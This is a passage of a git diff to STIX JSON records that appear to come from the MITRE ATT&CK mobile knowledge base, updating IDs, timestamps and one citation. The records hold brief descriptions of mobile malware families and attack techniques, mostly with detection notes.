             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:39.631Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Charger",
             "description": "The Charger Android malware steals \"steals contacts and SMS messages from the user's device\". It also \"asks for admin permissions\" and \"[i]f granted, the ransomware locks the device and displays a message demanding payment\". (Citation: CheckPoint-Charger)\n\nAliases: Charger",
             "labels": [
diff --git a/mobile-attack/malware/malware--d89c132d-7752-4c7f-9372-954a71522985.json b/mobile-attack/malware/malware--d89c132d-7752-4c7f-9372-954a71522985.json
index 76b94374aa..a946cffd65 100644
--- a/mobile-attack/malware/malware--d89c132d-7752-4c7f-9372-954a71522985.json
+++ b/mobile-attack/malware/malware--d89c132d-7752-4c7f-9372-954a71522985.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6786c70e-fbc0-4cce-86ae-4a8072e7b850",
+    "id": "bundle--adbdea86-e69f-453d-898d-c531bd760a96",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--d89c132d-7752-4c7f-9372-954a71522985",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:46.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan-SMS.AndroidOS.OpFake.a",
             "description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.OpFake.a",
             "labels": [
diff --git a/mobile-attack/malware/malware--d9e07aea-baad-4b68-bdca-90c77647d7f9.json b/mobile-attack/malware/malware--d9e07aea-baad-4b68-bdca-90c77647d7f9.json
index 2f24b94b74..2bffba7794 100644
--- a/mobile-attack/malware/malware--d9e07aea-baad-4b68-bdca-90c77647d7f9.json
+++ b/mobile-attack/malware/malware--d9e07aea-baad-4b68-bdca-90c77647d7f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cef1370e-925c-41d0-b85b-89c1d2789ffe",
+    "id": "bundle--ef96812a-36ec-46b8-af08-974a719201cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:42.661Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "XcodeGhost",
             "description": "iOS malware analyzed by Palo Alto Networks (Citation:  (Citation: PaloAlto-XcodeGhost)1) (Citation: PaloAlto-XcodeGhost)\n\nAliases: XcodeGhost",
             "labels": [
diff --git a/mobile-attack/malware/malware--e13d084c-382f-40fd-aa9a-98d69e20301e.json b/mobile-attack/malware/malware--e13d084c-382f-40fd-aa9a-98d69e20301e.json
index e8b31fbfda..0416a823c2 100644
--- a/mobile-attack/malware/malware--e13d084c-382f-40fd-aa9a-98d69e20301e.json
+++ b/mobile-attack/malware/malware--e13d084c-382f-40fd-aa9a-98d69e20301e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--886c24df-c4a0-47ec-b8e9-0f48c3285220",
+    "id": "bundle--18311aad-1406-463c-b893-816c6ff46b63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.674Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BrainTest",
             "description": "Brain Test is a family of Android malware described by CheckPoint (Citation: CheckPoint-BrainTest) and Lookout (Citation: Lookout-BrainTest).\n\nAliases: BrainTest",
             "labels": [
diff --git a/mobile-attack/malware/malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf.json b/mobile-attack/malware/malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf.json
index caf6a8d80c..9fd6d95cd8 100644
--- a/mobile-attack/malware/malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf.json
+++ b/mobile-attack/malware/malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93f2b4f3-76b3-4e45-a837-25d6f4a5962b",
+    "id": "bundle--e93c196d-2304-4263-8542-3fcea4bd698f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:47.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Adups",
             "description": "Adups, software pre-installed onto Android devices including those made by BLU Products, reportedly transmitted sensitive data to a Chinese server. The capability was reportedly designed \"to help a Chinese phone manufacturer monitor user behavior\" and \"was not intended for American phones\". (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor).\n\nAliases: Adups",
             "labels": [
diff --git a/mobile-attack/malware/malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca.json b/mobile-attack/malware/malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca.json
index d703434d18..b2d56cd2b2 100644
--- a/mobile-attack/malware/malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca.json
+++ b/mobile-attack/malware/malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--59354eb2-2f0a-4de7-b4d8-23f953a6fe1d",
+    "id": "bundle--e1fe43ca-2035-47b1-ae96-ca1744acc967",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--ff742eeb-1f90-4f5a-8b92-9d40fffd99ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:37.856Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DressCode",
             "description": "Android malware family analyzed by Trend Micro (Citation: TrendMicro-DressCode)\n\nAliases: DressCode",
             "labels": [
diff --git a/mobile-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json b/mobile-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
index fdef57ece1..b6d525b4b6 100644
--- a/mobile-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
+++ b/mobile-attack/marking-definition/marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8ccb1561-4113-459f-8bf1-672e6bd04461",
+    "id": "bundle--3838e17c-e087-49fd-a418-649f5c5e55f3",
     "spec_version": "2.0",
     "objects": [
         {
diff --git a/mobile-attack/mobile-attack.json b/mobile-attack/mobile-attack.json
index 36c49a07c6..5d682040bc 100644
--- a/mobile-attack/mobile-attack.json
+++ b/mobile-attack/mobile-attack.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--22414def-fec4-41d5-afad-2022deb15570",
+    "id": "bundle--c0c5fc01-4a76-4475-8df2-3ba34ad9e12b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:08.613Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Abuse Accessibility Features",
             "description": "A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -48,7 +48,7 @@
             "id": "attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:29.774Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Abuse Device Administrator Access to Prevent Removal",
             "description": "A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.\n\nDetection: The device user can view a list of apps with Device Administrator privilege in the device settings.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -84,7 +84,7 @@
             "id": "attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:16.288Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Abuse of iOS Enterprise App Signing Key",
             "description": "An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in  (Citation: Xiao-iOS).\n\nDetection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.\n\nPlatforms: iOS",
             "kill_chain_phases": [
@@ -125,7 +125,7 @@
             "id": "attack-pattern--62adb627-f647-498e-b4cc-41499361bacb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:20.727Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Calendar Entries",
             "description": "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -162,7 +162,7 @@
             "id": "attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:11.116Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Call Log",
             "description": "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.\n\nOn iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.\n\nDetection: On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -199,7 +199,7 @@
             "id": "attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:11.535Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Contact List",
             "description": "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -236,7 +236,7 @@
             "id": "attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:17.176Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Sensitive Data in Device Logs",
             "description": "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -281,7 +281,7 @@
             "id": "attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:15.402Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Sensitive Data or Credentials in Files",
             "description": "An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -322,7 +322,7 @@
             "id": "attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:27.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Alternate Network Mediums",
             "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -363,7 +363,7 @@
             "id": "attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:32.008Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Android Intent Hijacking",
             "description": "A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in  (Citation: IETF-PKCE).\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -399,7 +399,7 @@
             "id": "attack-pattern--bd4d32f5-eed4-4018-a649-40b229dd1d69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:30.127Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "App Auto-Start at Device Boot",
             "description": "An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.\n\n (Citation: Zhou) and Jiang (Citation: Zhou) analyzed 1260 Android malware samples belonging to 49 families of malware, and determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -435,7 +435,7 @@
             "id": "attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:10.699Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "App Delivered via Email Attachment",
             "description": "The application is delivered as an email attachment.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -477,7 +477,7 @@
             "id": "attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:11.861Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "App Delivered via Web Download",
             "description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -519,7 +519,7 @@
             "id": "attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:28.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Discovery",
             "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple's App Store.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -565,7 +565,7 @@
             "id": "attack-pattern--a0464539-e1b7-4455-a355-12495987c300",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:13.625Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Attack PC via USB Connection",
             "description": "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -611,7 +611,7 @@
             "id": "attack-pattern--45dcbc83-4abc-4de1-b643-e528d1e9df09",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:24.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Biometric Spoofing",
             "description": "An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in  (Citation: SRLabs-Fingerprint).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -653,7 +653,7 @@
             "id": "attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:19.996Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Capture Clipboard Data",
             "description": "A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -694,7 +694,7 @@
             "id": "attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:15.920Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Capture SMS Messages",
             "description": "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.\n\nOn Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.\n\nOn iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -730,7 +730,7 @@
             "id": "attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:16.650Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Commonly Used Port",
             "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -766,7 +766,7 @@
             "id": "attack-pattern--b765efd1-02e6-4e67-aebf-0fef5c37e54b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:26.473Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Detect App Analysis Environment",
             "description": "An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.\n\nDiscussion of general Android anti-analysis techniques can be found in  (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in  (Citation: Oberheide-Bouncer),  (Citation: Percoco-Bouncer).\n\n (Citation: Wang) presents a discussion of iOS anti-analysis techniques.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -833,7 +833,7 @@
             "id": "attack-pattern--89fcd02f-62dc-40b9-a54b-9ac4b1baef05",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:28.456Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Device Type Discovery",
             "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -869,9 +869,9 @@
             "id": "attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:23.652Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Device Unlock Code Guessing or Brute Force",
-            "description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: MDSec-IPBox).\n\nPlatforms: Android, iOS",
+            "description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-mobile-attack",
@@ -885,8 +885,9 @@
                     "external_id": "MOB-T1062"
                 },
                 {
-                    "source_name": "MDSec-IPBox",
-                    "description": "MDSec-IPBox"
+                    "source_name": "PopSci-IPBox",
+                    "description": "Dan Moren. (2015, March 18). This Box Can Figure Out Your 4-Digit iPhone Passcode. Retrieved December 23, 2016.",
+                    "url": "http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode"
                 }
             ],
             "object_marking_refs": [
@@ -905,7 +906,7 @@
             "id": "attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:14.003Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disguise Root/Jailbreak Indicators",
             "description": "An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by  (Citation: Rastogi) et al. (Citation: Rastogi). \n\n (Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.\n\n (Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -957,7 +958,7 @@
             "id": "attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.667Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Downgrade to Insecure Protocols",
             "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in draft NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1003,7 +1004,7 @@
             "id": "attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:14.460Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Download New Code at Runtime",
             "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis). \n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability (Citation: Bromium-AndroidRCE).\n\nOn iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch).  (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1060,7 +1061,7 @@
             "id": "attack-pattern--393e8c12-a416-4575-ba90-19cc85656796",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:26.104Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Eavesdrop on Insecure Network Communication",
             "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1107,7 +1108,7 @@
             "id": "attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:10.285Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Encrypt Files for Ransom",
             "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.\n\nPlatforms: Android",
             "kill_chain_phases": [
@@ -1143,7 +1144,7 @@
             "id": "attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:07.149Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit Baseband Vulnerability",
             "description": "A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.\n\nD. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).\n\nWeinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1195,7 +1196,7 @@
             "id": "attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:13.259Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit Enterprise Resources",
             "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1232,7 +1233,7 @@
             "id": "attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:29.405Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit OS Vulnerability",
             "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
@@ -1269,9 +1270,9 @@
             "id": "attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d",
